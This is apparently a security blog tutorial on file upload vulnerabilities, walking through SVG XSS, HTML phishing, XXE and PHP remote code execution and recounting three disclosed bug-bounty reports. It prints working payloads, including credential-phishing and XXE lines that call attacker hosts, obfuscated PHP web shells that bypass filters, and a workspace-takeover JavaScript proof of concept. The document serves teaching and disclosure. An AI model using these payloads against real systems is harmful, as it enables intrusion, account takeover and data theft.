File Upload Vulnerabilities: From HTML Injection to Remote Code Execution
For almost a decade, many people have misunderstood one common idea:
A file upload vulnerability automatically means Remote Code Execution (RCE).
This is only half true
In this article, I’ll explain why that assumption is misleading, what a file upload vulnerability actually is, why it happens, and how different upload scenarios lead to different levels of impact.
Note: This article does not cover advanced topics such as XXE, File Upload Filter Bypass Techniques, or other parser-specific vulnerabilities. Each of those deserves its own dedicated article. When those articles are published, links will be added under the relevant sections. This article focuses on understanding what file upload vulnerabilities are, their root causes, common examples, and the security principles behind them, without diving too deeply into every exploitation technique.
What Is a File Upload Vulnerability?
Before anything else, let’s break one of the biggest misconceptions.
Many people assume that if a server accepts a PHP file, an XML document, or any other potentially dangerous file type, then the application automatically has a file upload vulnerability.
That is not necessarily true.
A file upload vulnerability exists when an attacker can upload a file that performs actions beyond what the application intended. In other words, the uploaded file can be abused to achieve a malicious goal.
Some examples include:
- Uploading a PHP file that is later executed by the web server, resulting in remote code execution.
- Uploading an XML document that is parsed insecurely, leading to XXE attacks.
- Uploading files that overwrite existing resources.
- Uploading files that are interpreted by another component of the application, leading to privilege escalation, information disclosure, or other unintended behavior.
The key point is that the vulnerability is not the upload itself. The vulnerability is what the application allows an uploaded file to do after it has been accepted.
Simply allowing a user to upload a file — even a PHP or XML file — does not automatically make the application vulnerable. The real question is:
Can that uploaded file be abused to perform malicious actions that were never intended by the application?
If the answer is yes, then you’re dealing with a genuine file upload vulnerability.
Root Causes of File Upload Vulnerabilities
Before looking at examples of file upload vulnerabilities, we first need to understand why they happen.
In most cases, the root cause is not the upload feature itself, but how the application handles the uploaded file after accepting it. Common root causes include:
1. Parsing Unintended Data
The application parses user-controlled files using a parser that supports features the developer did not intend to expose.
For example, if an application parses uploaded XML documents without securely configuring the XML parser, an attacker may inject an XXE (XML External Entity) payload to read local files or interact with internal network resources.
2. Executing Uploaded Files
The application executes uploaded files based on their type or extension.
Consider the following example:
- If the uploaded file is
hack.php, the application loads it using PHP'sinclude()function. - If the uploaded file is a Python script, the application reads the file and executes it using a command such as
exec().
In both cases, the application treats user-controlled input as executable code, allowing an attacker to execute arbitrary commands or application logic.
3. Storing Uploaded Files Inside the Web Root
Uploaded files are saved in a location that is directly accessible by the web server.
If executable file types (such as PHP) are allowed — or can bypass validation — the attacker may simply request the uploaded file through the browser, causing the server to execute it.
4. Weak Validation
The application performs insufficient validation of uploaded files.
Common examples include:
- Validating only on the client side (JavaScript).
- Trusting the filename or file extension.
- Trusting the
Content-Typeheader supplied by the client. - Performing incomplete or inconsistent server-side validation.
These checks can often be bypassed by sending a crafted HTTP request directly to the server.
5. Unsafe Server Configuration
The server is configured in a way that allows uploaded files to influence server behavior.
Examples include:
- Allowing
.htaccessfiles inside upload directories. - Allowing script execution within upload directories.
- Misconfigured web server rules that execute files from locations intended only for storage.
When combined with storing uploads inside the web root, these misconfigurations can lead to Remote Code Execution (RCE).
Although these are among the most common root causes, they are not the only ones. As you’ll see throughout this article, different applications process uploaded files in different ways, and each processing step may introduce its own security risks.
Common file upload vulnerabilities
now we will introduce to a lotsof ideas and file upload vulnerabilites with differant ideas and different impact from lower impact to higher impact
File Upload Vulnerability Leading to Stored Cross-Site Scripting (Stored XSS) via SVG Files
One of the most common examples of a file upload vulnerability is Stored Cross-Site Scripting (Stored XSS) through uploaded SVG files.
Let’s first understand what an SVG file is.
A Quick Introduction to SVG
SVG (Scalable Vector Graphics) is an XML-based image format used to describe two-dimensional graphics.
Unlike raster image formats such as PNG or JPEG, SVG images are text-based documents. They can contain XML elements, hyperlinks, styling information, and — depending on how the browser or application renders them — even JavaScript.
A normal SVG image might look like this:
<?xml version="1.0" encoding="utf-8"?>
<svg width="800px" height="800px"
viewBox="0 0 16 16"
fill="none"
xmlns="http://www.w3.org/2000/svg">
<path fill-rule="evenodd"
clip-rule="evenodd"
d="M8 16L3.54223 12.3383C1.93278 11.0162 1 9.04287 1 6.96005C1 3.11612 4.15607 0 8 0C11.8439 0 15 3.11612 15 6.96005C15 9.04287 14.0672 11.0162 12.4578 12.3383L8 16ZM3 6H5C6.10457 6 7 6.89543 7 8V9L3 7.5V6ZM11 6C9.89543 6 9 6.89543 9 8V9L13 7.5V6H11Z"
fill="#000000"/>
</svg>This SVG simply renders an image of a smiling alien.
At first glance, it looks like any other image. However, because SVG is XML-based rather than a binary image format, it can contain much more than graphical elements.
Why Is This Dangerous?
If an application allows users to upload SVG files and later renders those files without proper validation or sanitization, an attacker may be able to inject malicious content into the SVG.
For example:
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert('HACKED!')</script>
</svg>Notice the following element:
<script>alert('HACKED!')</script>Since SVG supports javascript, this JavaScript may execute when the SVG is rendered by the browser.
If the application stores the uploaded SVG and later displays it to other users, the payload may execute every time someone views the image, resulting in a Stored Cross-Site Scripting (Stored XSS) vulnerability.
Important: Whether the JavaScript executes depends on how the SVG is served and rendered. For example, rendering an SVG through an
<img>element generally prevents embedded scripts from executing in modern browsers, while displaying it inline or embedding it in other contexts may allow script execution if no proper protections are in place.
In more advanced scenarios, insecure SVG handling can also contribute to other classes of vulnerabilities, depending on how the application processes uploaded files. We’ll cover some of those cases later in this article.
File Upload Vulnerabilities Leading to HTML Injection and Phishing
HTML and JavaScript are interpreted by the browser’s rendering engine. When a user requests an HTML page, the browser treats it as content that should be rendered for the requested origin.
If a file upload feature does not properly validate uploaded files, an attacker may be able to upload an HTML file instead of an expected file type, such as an image or document.
For example, suppose an application allows users to upload files and later makes those files publicly accessible without restricting the allowed file types. An attacker could upload a malicious HTML page containing arbitrary HTML, CSS, and JavaScript.
When another user visits the uploaded file, the browser renders it as a normal web page because it is being served from the application’s domain.
This can lead to several security issues, including:
- Creating convincing phishing pages that imitate the application’s login screen.
- Stealing credentials entered by unsuspecting users.
- Displaying misleading or fraudulent content under the trusted domain.
- Redirecting users to attacker-controlled websites.
- In some cases, leading to Stored Cross-Site Scripting (Stored XSS) if the uploaded HTML is embedded into the application’s pages or served in an unsafe context.
An attacker uploads a file named hacked.html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Fake Login Page</title>
</head>
<body>
<h1>Welcome to the fake Login Portal</h1>
<form action="https://attacker.example/collect" method="POST">
<input type="text" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<button type="submit">Sign In</button>
</form>
</body>
</html>If the upload succeeds and the file is publicly accessible, anyone who opens the uploaded file’s URL will see it rendered as a normal HTML page :
An attacker could make this page closely resemble the legitimate login page of the application. Because it is hosted on the organization’s own domain, users are more likely to trust it and may unknowingly enter sensitive information.
Although this scenario does not necessarily lead to Remote Code Execution (RCE), it is still a serious security issue. By abusing the application’s trusted domain, an attacker can perform phishing attacks, steal user credentials, distribute misleading content, or launch additional attacks against unsuspecting users.
Note: Simply allowing HTML uploads does not automatically result in Stored XSS. Whether it becomes an XSS vulnerability depends on how the uploaded file is served. If users visit the uploaded HTML as a standalone page, the primary impact is typically phishing or content spoofing. Stored XSS usually occurs when the application’s own pages embed or render attacker-controlled HTML within their DOM without proper sanitization.
File Upload Vulnerabilities Leading to Local File Inclusion (LFI) via XXE
Another possible consequence of a file upload vulnerability occurs when an application accepts XML-based files and processes them using an insecure XML parser. In such cases, the upload functionality may become a gateway to XML External Entity (XXE) attacks, potentially allowing an attacker to read files from the server.
Without going into the full details of XXE — which will be covered in a dedicated write-up — XXE is a vulnerability that arises when an XML parser is configured to process external entities. Depending on the parser’s configuration and the application’s behavior, an attacker may be able to access local files or cause the parser to retrieve external resources. This can lead to impacts such as Local File Inclusion (LFI) or Server-Side Request Forgery (SSRF).
Consider the following simplified example adapted from the PortSwigger Academy. Notice the second line:
Note: In this article, the keyword
SYSTEMis sometimes written as$YSTEMto avoid triggering automated content filters. The actual XML keyword isSYSTEM.
<!DOCTYPE foo [<!ENTITY xxe $YSTEM "file:///etc/passwd">]>This example defines an XML external entity named xxe that references a local file. Elsewhere in the XML document, the entity is referenced as part of the document's content:
<stockCheck>
<productId>&xxe;</productId>
</stockCheck>When the XML parser processes the document, it resolves the entity reference according to its configuration. If external entity resolution is enabled, the parser attempts to retrieve the referenced resource before continuing to process the XML.
If a file upload feature accepts XML documents and parses them without properly disabling external entity resolution, an attacker may be able to abuse this behavior to access sensitive local resources. Depending on the application’s response and the parser’s configuration, this could expose files such as application source code, configuration files, or environment variables, significantly increasing the impact of the file upload vulnerability.
If the XML parser resolves the external entity and includes the referenced file in the application’s response, the output may contain the contents of the requested file, for example:
root:x:0:0:root:/root:/usr/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...In practice, however, an application does not always return the parser’s output to the user. For this reason, security researchers often begin by verifying whether the server processes XML external entities at all before attempting to demonstrate more significant impact.
One common approach is to reference an attacker-controlled resource and observe whether the application attempts to retrieve it during XML parsing.
example :
<!DOCTYPE foo [<!ENTITY xxe $YSTEM "http://attacker-server.net">]>If a request is received, it confirms that the XML parser is processing external entities, even if no data is returned in the application’s response. This technique is commonly referred to as Blind XXE or Out-of-Band (OOB) XXE because the confirmation occurs through an external interaction rather than through the application’s normal response.
We will examine a real-world example of Blind (OOB) XXE later in this article.
Ultimately, the security issue is not the XML file itself — it is the application’s decision to parse untrusted XML with insecure parser settings.
File Upload Vulnerabilities Leading to Remote Code Execution (RCE)
One of the most well-known and severe consequences of a file upload vulnerability is Remote Code Execution (RCE).
In this scenario, an attacker gains the ability to execute arbitrary code on the target server by uploading a file containing executable code, such as a PHP script, a JSP file, an ASP.NET page, or another server-side script that the web server is configured to execute.
However, there is an important misconception to address:
Uploading an executable file does not automatically result in RCE.
The vulnerability does not depend on the uploaded file itself — it depends on how the server stores, serves, and processes that file.
A secure application may allow a PHP file to be uploaded but:
- Store it outside the web root.
- Rename it to a random filename.
- Serve it as a downloadable file instead of executing it.
- Disable script execution in the upload directory.
In these cases, the uploaded file is treated as plain data rather than executable code, making Remote Code Execution impossible.
On the other hand, a vulnerable application may store uploaded files inside an executable directory and allow the web server to interpret them as code. As soon as the attacker accesses the uploaded file through its URL, the server executes the script with the privileges of the web application.
For example, if a vulnerable application allows uploading shell.php into an executable upload directory :
<?php system(whoami); ?>and requesting :
https://example.com/uploads/shell.phpmay cause the PHP interpreter to execute the file instead of returning its contents cuaisngthe output to be like that :
www-dataDepending on the payload, this can allow an attacker to:
- Execute arbitrary operating system commands.
- Read, modify, or delete server files.
- Access sensitive application data.
- Install persistent backdoors.
- Pivot to other systems within the internal network.
This is why Remote Code Execution is considered one of the highest-impact outcomes of a file upload vulnerability. The upload itself is rarely the real issue — the critical mistake is allowing user-controlled files to be interpreted as executable code by the server.
Final Thoughts
Of course, these are not the only security risks introduced by file upload vulnerabilities. The impact ultimately depends on how the application handles the uploaded file after it is accepted.
Get Viodex’s stories in your inbox
Join Medium for free to get updates from this writer.
As you’ve seen throughout this article, the upload itself is rarely the vulnerability. Instead, the vulnerability lies in the application’s processing logic — whether it parses, executes, transforms, or otherwise trusts user-controlled files.
For this reason, one of the most effective ways to assess a file upload feature is by understanding how the application processes uploaded files. During a source code review, this becomes significantly easier because you can trace exactly what happens after a file is uploaded.
For example, you may discover that the application unexpectedly parses uploaded files using XML libraries, image processing frameworks, PDF converters, or even interpreters for scripting languages such as Ruby or Python. Each processing step introduces additional attack surface and may expose vulnerabilities that are impossible to identify by simply looking at the upload form.
Even in black-box assessments, thinking beyond “Can I upload a PHP file?” is essential. Ask yourself:
- Is the file parsed after upload?
- Is it converted into another format?
- Is metadata extracted?
- Is it scanned by a third-party library?
- Is it rendered in a browser?
- Is it executed by another service?
The answers to these questions often determine the real impact of a file upload vulnerability.
Ultimately, understanding how uploaded files flow through an application is far more valuable than memorizing bypass techniques. Once you understand the processing pipeline, you’ll naturally identify where security assumptions break — and where vulnerabilities are most likely to exist.
Real World Examples
now we will cover up some file upload vulnerabilities that was reported and disclosed
1. dust.tt workspace takeover via file upload vulnerability leaded to stored XSS
Hunter : sjalu
Platform: https://hackerone.com/reports/3115705
Target: dust.tt
Severity: high 8.7
Weakness: file upload vilnerabilitiy
Bounty: NoneThis actually a good example about stored XSS via file upload vulnerability
Overview
While testing Dust’s file upload functionality, sjalu discovered that the application was vulnerable to HTML Injection, which consequently led to Stored Cross-Site Scripting (Stored XSS).
The application accepted HTML files without properly validating or restricting them. Instead of treating the uploaded file as an untrusted download, Dust rendered it directly in the browser. As a result, any JavaScript embedded inside the uploaded HTML page was executed whenever another user opened the uploaded file.
The issue wasn’t simply that HTML uploads were allowed. The real problem was that the application trusted and rendered those uploaded files as normal web pages under Dust’s own origin, allowing attacker-controlled JavaScript to execute in the victim’s authenticated browser session.
Like most Stored XSS discoveries, sjalu most likely began by uploading a very simple HTML page to verify whether arbitrary JavaScript execution was possible:
<html>
<head>
<title>foo</title>
</head>
<body>
<script>alert(1)</script>
</body>
</html>After uploading the file and opening its generated URL, an alert(1) dialog appeared, confirming that JavaScript embedded inside the uploaded HTML file was successfully executed by the browser.
Although this payload did nothing more than display a message box, it proved the most important part of the vulnerability: attacker-controlled JavaScript could execute under Dust’s trusted origin. From there, sjalu began investigating whether this execution could be escalated into something with a much greater impact.
he started analyzing Dust’s web application. Using the browser’s Developer Tools, he inspected the network traffic generated while administrators performed different actions inside a workspace.
During this process, he noticed that actions such as changing member roles, managing workspace settings, and accessing secrets were all performed through authenticated API requests.
This immediately suggested a new attack path.
If JavaScript was already executing inside the uploaded HTML page, then that same JavaScript could simply communicate with Dust’s internal API exactly like the legitimate frontend.
The browser would automatically attach the victim’s authenticated session to every request because the malicious page was hosted on dust.tt itself. From the browser’s perspective, there was nothing suspicious about these requests — they originated from the same origin as the application.
<html>
<head>
<title>PoC - Dust Workspace Takeover</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 40px;
background-color: #f8f9fa;
}
.container {
background: white;
padding: 20px;
border-radius: 8px;
box-shadow: 0px 0px 10px rgba(0,0,0,0.1);
}
h1 {
color: #333;
}
p {
color: #555;
}
</style>
</head>
<body>
<div class="container">
<h1>Proof of Concept - Dust Workspace Admin Takeover</h1>
<p>When this page is visited by an admin inside a workspace, he'll give the attacker's user ID admin privileges. The attacker can then manually de-rank the former admin to a regualar member.</p>
</div>
<script>
// Your user ID here (dummy account's ID)
const attackerUserId = '<dummy_id>'; // <-- replace with dummy account ID!
fetch('https://dust.tt/api/user', {
method: 'GET',
headers: {
'accept': '*/*',
'x-commit-hash': '41c0391',
},
credentials: 'include'
})
.then(res => res.json())
.then(userData => {
if (userData.user && userData.user.workspaces && userData.user.workspaces.length > 0) {
const workspaceId = userData.user.workspaces[0].sId; // Get workspace ID
const victimUserId = userData.user.id; // Victim's own ID
// 1. Promote attacker to admin
fetch(`https://dust.tt/api/w/${workspaceId}/members/${attackerUserId}`, {
method: 'POST',
headers: {
'content-type': 'application/json',
'accept': '*/*',
'x-commit-hash': '41c0391',
},
credentials: 'include',
body: JSON.stringify({
role: "admin"
})
});
alert(`PWNED\n\nVictim Username: ${userData.user.username}\nVictim Email: ${userData.user.email}`);
}
});
</script>
</body>
</html>The first thing the payload did was identify the currently authenticated user by requesting the /api/user endpoint.
From the response, the script extracted useful information, including the victim’s user ID and the workspace identifier. Once the workspace ID had been obtained, the payload constructed another request targeting the endpoint responsible for updating workspace members.
Instead of displaying an alert box, the final payload silently issued an authenticated request that changed the attacker’s role from a normal member to an administrator.
After the attacker became an administrator, the consequences were severe.
The attacker could promote or demote workspace members, remove legitimate administrators, access and delete secrets, modify workspace settings, and perform virtually every action available to an administrator.
What makes this attack particularly interesting is that it never attempted to steal the administrator’s session cookie.
The payload didn’t need to.
Because the malicious HTML page was served from Dust’s own origin, every fetch() request automatically included the victim's authenticated session. The server therefore processed every request exactly as if the administrator had initiated it themselves.
This attack required only a single interaction from the victim.
The attacker uploaded the malicious HTML file, shared its URL with a workspace administrator, and waited for the administrator to open it.
The moment the page loaded, the embedded JavaScript executed, authenticated API requests were sent automatically, and the attacker’s account was promoted to Administrator without any additional interaction.
This is a perfect example of how a simple file upload vulnerability can evolve into a complete application compromise. The upload itself was never the dangerous part — the danger came from how the uploaded file was served and trusted by the application.
A single uploaded HTML file, combined with one click from an administrator, was enough to achieve what can only be described as:
One Click → Complete Workspace Takeover.
2. [REDECATED] — File Upload Vulnerability leaded to Remote Code Execution (RCE)
Hunter : Akash A
Platform: https://medium.com/@akashoffsec/how-i-found-rce-remote-code-execution-via-file-upload-7541816e5fc4
Target: not-disclosed
Severity: critical 9.1 (prediction)
Weakness: file upload vilnerabilitiy
Bounty: NoneWhile Akash was searching for vulnerabilities, he first used the Wappalyzer browser extension to fingerprint the technologies used by the target. He also inspected the HTTP response headers. From these, he inferred that the application was running on Apache and using PHP on the backend. This was an encouraging sign because, if the application allowed uploading executable PHP files and stored them in an executable directory, it could potentially lead to Remote Code Execution (RCE).
When Akash found the image upload functionality, he did the usual testing. He first tried uploading a PHP file to check whether the server would accept it or not.
The first problem was the client-side validation, which was easily bypassed by creating a malformed request, and the server accepted it.
Akash uploaded a simple PHP web shell:
<?php system($_GET['cmd']); ?>The server accepted it, but the second problem appeared. The server was performing some filtering, which caused the PHP code not to be executed. Akash began to dig deeper to determine which words or special characters the server was filtering, and he finally discovered the reason.
The server blocked the execution of any file that contained the word php in its content.
So, the server rejected this:
<?php system($_GET['cmd']); ?>and accepted this:
<? system($_GET['cmd']); ?However, this payload was still not executed. So, Akash tried many different payloads. They were all uploaded successfully but failed to execute until he came up with two ideas and chained them together.
The first idea was to use PHP's Short Echo Opening Tag.
A PHP Short Echo Opening Tag (<?=) is a shorter way to write <?php echo. Both are interpreted as valid PHP syntax, so the following two examples produce the same output:
<?php echo system('whoami'); ?>
<?=system('whoami');?>Both perform the same function, which is executing the whoami command and printing its output.
The second idea was to Base64-encode the malicious payload to bypass the server-side filtering, then decode it at runtime using the base64_decode() function.
Now, the final payload looked like this:
<?=eval(base64_decode('ZWNobyBzaGVsbF9leGVjKCRfR0VUWydjbWQnXS4nIDI+JjEnKTs='));?>First, <?php was replaced with <?= to bypass the server-side filtering. Then, the eval() function was used to execute the PHP code returned by base64_decode().
The Base64 string:
ZWNobyBzaGVsbF9leGVjKCRfR0VUWydjbWQnXS4nIDI+JjEnKTs=when decodes it it gave us a simple PHP webshell
shell_exec($_GET[‘cmd’].’ 2>&1');When the server executes the payload, base64_decode() first decodes the encoded string, then eval() executes the decoded PHP code. The code retrieves the value of the cmd parameter from the URL and passes it to shell_exec(), which executes it as a system command.
Now, when Akash sends a request to the uploaded file with the parameter:
?cmd=cat /etc/passwdthe PHP code executes, retrieves the value of cmd, runs it as a shell command, and returns the contents of /etc/passwd in the HTTP response
However, Akash made a deadly mistake that could get you sued by a company instead of rewarded. He uploaded a PHP backdoor that opened a reverse shell to his own machine.
This is considered extremely risky because, when dealing with critical vulnerabilities, you should create your proof of concept (PoC) with the least possible impact on the company. You should not deploy a backdoor, browse through their systems, attempt to escalate your privileges, or read their source code without explicit authorization.
If you need to perform further exploitation — for example, trying to escalate your privileges to the root user — you should first ask the company for permission. If they agree, then you can proceed with the additional testing.
There were multiple reasons behind this vulnerability. First, the application relied on client-side JavaScript to filter out non-image files such as PHP files, which can be easily bypassed. Second, the server-side filters relied on detecting the exact <?php tag, making them easy to evade by using the short echo tag <?=. Finally, the root cause was that the backend stored uploaded files in an executable directory or processed them using the include() function, allowing uploaded PHP code to be executed.
informatica XXE injection via injecting XMP metadata in a jpeg file using external DTD
Hunter : moebius
Platform: https://hackerone.com/reports/836877
Target: informatica.com
Severity: critical (CVSS 9–10)
Weakness: file upload vilnerabilitiy
Bounty: hiddenBefore talking about the vulnerability, we first need to understand what DTDs are.
A Document Type Definition (DTD) is a set of rules that defines the structure of an XML document. It tells the XML parser which elements are allowed, their order, their content type, and any additional declarations such as entities.
For example, suppose an application accepts the following XML document:
<user>
<name>Ahmed</name>
<email>ahmed@example.com</email>
</user>The corresponding DTD could look like this:
<!DOCTYPE user [
<!ELEMENT user (name, email)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT email (#PCDATA)>
]>
This DTD declares that the root element is user, which must contain two child elements in the following order: name and email.
It also specifies that both name and email contain parsed character data (#PCDATA), meaning they are expected to hold plain text.
When the XML parser receives the document, it uses the DTD to understand how the XML is structured and, if validation is enabled, to verify that the document follows the expected format.
An attacker can instruct the XML parser to load an external DTD by using the DOCTYPE declaration:
<!DOCTYPE user SYSTEM “https://attacker.com/user.dtd"
If the XML parser is configured to allow external DTDs, it will retrieve the DTD from the specified location, process the declarations it contains, and then continue parsing the XML document using those declarations.
Attackers may leverage external DTDs for several reasons, including:
- Bypassing filters: Some applications inspect only the XML document itself. By placing entity declarations in an external DTD, an attacker may bypass filters that do not inspect externally loaded DTDs.
- Creating complex payloads: External DTDs allow attackers to define multiple entities and reuse them, making payloads cleaner and more flexible than embedding everything directly in the XML document.
- Enabling advanced XXE techniques: External DTDs can facilitate more advanced exploitation scenarios, such as out-of-band (OOB) interactions or other complex entity-based attacks, when the XML parser permits them.
It is important to note that simply referencing an external DTD does not create a vulnerability. XXE vulnerabilities arise only when the XML parser is configured to process external entities or DTDs in an insecure manner.
you can read more about external DTDs here
Let’s take a closer look at how the vulnerability worked.
overview
While exploring the Informatica website, Moebius discovered that the profile photo upload functionality supported XMP metadata embedded inside JPEG images.
After identifying this behavior, he created an external DTD and hosted it on his Burp Collaborator server. The DTD used a parameter entity instead of a general entity.
A parameter entity is intended for use inside the DTD itself, allowing the external DTD to execute its logic without requiring additional entity references in the XML document. In contrast, a general entity is declared inside the DTD but must be referenced from the XML document to be expanded.
The external DTD looked like this
<!ENTITY % xxe syste "http://attacker-burpcollab.net"
%xxe;This DTD first defines a parameter entity named xxe that references an external resource. It then immediately expands the entity using %xxe;, causing the XML parser to retrieve the external resource from the specified URL.
After creating the external DTD, Moebius injected XML metadata into the JPEG image that referenced this external DTD :
Once the image was processed by an XML parser that supports XMP metadata and external entities, the parser loaded the external DTD. As a result, the parameter entity was expanded, causing the parser to make an outbound request to the Burp Collaborator server, confirming that the external DTD had been successfully loaded and processed.
Moebius initially reported the vulnerability without attempting to access sensitive files such as /etc/passwd. However, sometime later, the proof of concept stopped working for an unknown reason. This was not entirely unexpected, as the issue had originally been identified using an upload scanner extension, meaning the exact processing flow of the uploaded image still needed to be fully understood.
After spending some time troubleshooting, Moebius was eventually able to get the payload working again. To strengthen his proof of concept, he created an external DTD that demonstrated file disclosure by reading /etc/passwd and sending its contents to his Burp Collaborator server.
The complete DTD would look similar to the following:
however Moebius shared only the second line of the exploit
By itself, this snippet does not explain how the complete payload works, so I reconstructed the missing pieces to illustrate the full process.
First, a parameter entity named data3 is defined to reference the local file /etc/passwd. When this entity is expanded, its value becomes the contents of that file.
Next, another parameter entity named param3 is created. Rather than containing ordinary text, it contains the declaration of a new parameter entity named exfil. The sequence % is the XML character reference for %, allowing the DTD to define another parameter entity when param3 is expanded.
After expanding %param3;, the parser processes the embedded declaration, making the exfil parameter entity available. Finally, expanding %exfil; causes the parser to resolve the URI associated with exfil. During URI resolution, the expansion of data3 is incorporated into the URI, demonstrating that the file contents can be referenced by the external entity resolution process.
now a connection sent to the FTP server contains the server’s/etc/passwd content :
XXE-FTP listening
Connected by %s ('█████████', 32231)
USER anonymous
PASS Java█████
TYPE I
/root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
█████████
ntp:x:38:38::/etc/ntp:/sbin/nologin
██████████
█████████
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
██████
systemd-bus-proxy:x:500:221:systemd Bus Proxy:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
puppet:x:52:52:Puppet:/var/lib/puppet:/sbin/nologin
nrpe:x:499:220:NRPE user for the NRPE service:/var/run/nrpe:/sbin/nologin
█████████
██████████
EPSV
EPRT |1|█████████|65407|
RETR nologin
now a connection sent to the FTP server contains the server's /etc/passwd fileGeneral Impact
The impact of a file upload vulnerability is typically evaluated by answering two key questions:
What can an attacker do with the vulnerability?
What would the organization lose or be exposed to if the vulnerability were exploited?
Without demonstrating a meaningful security impact, a file upload issue is often classified as informative because it does not clearly show how an attacker could compromise the application’s confidentiality, integrity, or availability.
The impact of file upload vulnerabilities varies significantly depending on the exploitation technique. For example, an HTML Injection or Cross-Site Scripting (XSS) vulnerability achieved through file upload is fundamentally different from a Remote Code Execution (RCE) vulnerability achieved through file upload. Although both originate from a file upload feature, their consequences, severity, and business impact are entirely different.
For this reason, file upload vulnerabilities should not be assessed solely based on the existence of an upload flaw. Instead, they should be evaluated according to the capabilities they provide to an attacker and the resulting impact on the target system. As new exploitation techniques and attack chains are discovered, the severity of a file upload vulnerability may change considerably, turning what initially appears to be a low-risk issue into a critical security vulnerability.
Conclusion
Throughout this article, we’ve explored how a simple file upload feature can evolve into vulnerabilities with vastly different impacts. As you’ve seen, the upload itself is rarely the problem. The real security risk lies in what happens after the file is accepted — whether it is executed, parsed, rendered, converted, or processed by another component of the application.
The same upload functionality can lead to Stored XSS, HTML Injection, XXE, Local File Inclusion, Remote Code Execution, or many other vulnerabilities depending entirely on how the application handles the uploaded file. This is why asking “Can I upload this file?” is rarely enough. The more important question is:
“What does the application do with this file after the upload succeeds?”
For developers, understanding this processing pipeline is essential to building secure applications. Every parser, image library, document converter, or interpreter introduced into the upload workflow expands the application’s attack surface and should be treated as potentially untrusted.
For security researchers, this mindset is equally important. Instead of focusing solely on bypassing upload restrictions, try to understand the lifecycle of the uploaded file. Is it parsed? Is metadata extracted? Is it resized? Converted? Indexed? Scanned? Rendered in a browser? Executed by another service? The answers to these questions often reveal vulnerabilities that would otherwise remain hidden.
Finally, remember that a file upload vulnerability is only the beginning of the story. Its true severity is determined by the application’s behavior after the upload, the trust it places in user-controlled files, and the impact an attacker can ultimately achieve. The more you understand how applications process files, the easier it becomes to identify subtle weaknesses, build realistic attack chains, and ultimately become a better security researcher.
written by : viodex (founder and leader for perdo team)
version : v1.0
published by : viodex
re-published by : perdo team







